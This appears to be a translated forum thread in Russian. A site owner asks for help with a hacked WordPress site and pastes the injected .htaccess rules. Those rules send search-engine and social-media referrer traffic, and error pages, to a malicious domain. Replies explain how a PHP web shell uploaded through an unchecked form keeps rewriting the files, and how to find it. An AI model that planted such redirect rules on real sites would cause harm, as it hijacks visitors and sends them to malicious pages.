Я в тупике. Сайт моих клиентов WordPress продолжает взламывать файл .htaccess. Он добавляет код для перенаправления всего трафика с поисковых систем на разные сайты. Он постоянно меняет домен, на который перенаправляется. В настоящее время (не заходите на сайт! Prime-vermond.ru)
Я изменил пароли ftp, пароли администратора WordPress, обновил все плагины, удалил неиспользуемые плагины, изменил права доступа к файлу .htaccess на 444.
Я думаю, это может быть эксплойт на сервере? Сайт клиентов размещен на godaddy. Я писал им несколько раз по электронной почте, ожидая ответа на свой последний запрос в службу поддержки.
Я провел поиск по всем файлам в поисках того, что может содержать вредоносный код, но ничего не нашел. Я предполагаю, что у них есть код в кодировке base64 и они используют eval для его запуска.
Есть идеи, как лучше найти измененный плохой файл? Я сейчас в растерянности = /
Ниже представлен весь код, добавляемый в файл .htaccess.
ErrorDocument 400 http://prime-vermond.ru/trast/index.php
ErrorDocument 401 http://prime-vermond.ru/trast/index.php
ErrorDocument 403 http://prime-vermond.ru/trast/index.php
ErrorDocument 404 http://prime-vermond.ru/trast/index.php
ErrorDocument 500 http://prime-vermond.ru/trast/index.php
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://prime-vermond.ru/trast/index.php [R=301,L]
Либо используется код вашего приложения, либо кто-то подделал / угадал учетные данные вашей учетной записи. Убедитесь, что ваш код WP обновлен, включая все плагины, и не забудьте изменить пароль своей учетной записи.
Включите все возможные параметры входа в систему. Подождите, пока это повторится снова. Затем запишите время последнего изменения файла, а затем проверьте журналы доступа / ошибок, чтобы увидеть, не происходило ли в это время чего-нибудь необычного.
У меня была та же проблема, и это было нашим решением.
Задний план
В одной из наших установок cms была дыра в безопасности, в нашем случае для тестирования использовалась альфа-версия joomla 1.6, которая была оставлена без внимания ... неважно, какая альфа-версия была, есть выпуск и гораздо безопасная версия ( 1.7) сейчас: P.
Отверстие было создано кодом загрузки файла / изображения. Эта часть cms ничего не проверяла, поэтому любой может загрузить любой файл (в нашем случае файл php) и выполнить его извне, вызвав файл.
Файл php (в нашем случае) был загружен в каталог изображений, в частности в папку, к которой все статьи имеют доступ для загрузки, в нашем случае и эта конкретная установка была domain.com/images/stories/.
Этот php-код проверил все файлы конфигурации apache (.htaccess) и добавил правила, которые вы описали выше. Код перескакивает на уровни один за другим, пока он не сможет иметь доступ для чтения или записи, добавляя этот код в любой файл .htaccess, который он нашел по уровню, или создавая его, если он не существует.
Событие, если вы удалите или замените файлы .htaccess, они будут созданы или изменены снова (в нашем случае каждый час) путем выполнения кода php.
Решение
Мы начинаем отслеживать файлы, используя дату их изменения и фильтруя по самым последним измененным. Мы используем файлы .htaccess (недавно измененные) как хлебные крошки для поиска источника.
Если у вас есть доступ к оболочке, это проще, иначе проверьте последнюю измененную папку, вы найдете файл .htaccess внутри каждой подпапки. В итоге вы получите несколько файлов php с недавней датой и, вероятно, с разрешениями на исполняемые файлы для публичного доступа (0606 или аналогичные).
Если вы попытаетесь загрузить этот код, у вашего антивируса появится предупреждение, в нашем случае Avira отобразит предупреждение для трояна - Backdoor PHP / C99shell.B, так что не беспокойтесь.
Но если вам так любопытно, замените расширение на что-нибудь другое и / или запакуйте его, чтобы загрузить ... или отключите антивирус на секунду, но это зависит от вас.
В любом случае, как только вы найдете этот / эти файлы, удалите их и обновите свою систему или удалите их (как мы), если необходимо заполнить дыру в безопасности.
Надеюсь, это кому-то поможет! : D